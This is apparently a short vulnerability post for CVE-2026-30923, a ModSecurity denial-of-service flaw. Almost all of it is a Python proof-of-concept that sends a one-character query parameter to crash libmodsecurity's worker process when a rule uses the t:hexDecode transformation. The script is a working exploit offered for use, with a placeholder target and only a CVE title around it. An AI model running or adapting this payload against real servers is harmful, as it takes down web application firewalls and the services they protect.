CVE-2026-30923 ModSecurity拒绝服务漏洞

import requests # PoC for CVE-2026-30923 # Description: Trigger a segmentation fault in libmodsecurity by sending a query parameter with a single character. # Requirement: The target WAF must have a rule inspecting the query string with the transformation function 't:hexDecode'. target_url = "http://example.com/api" # The payload is a single character. If a rule applies 't:hexDecode' to this parameter, it triggers the crash. payload = {"input": "A"} try: print("Sending payload to trigger the crash...") response = requests.get(target_url, params=payload, timeout=5) print(f"Status Code: {response.status_code}") print("Check if the WAF worker process has crashed.") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")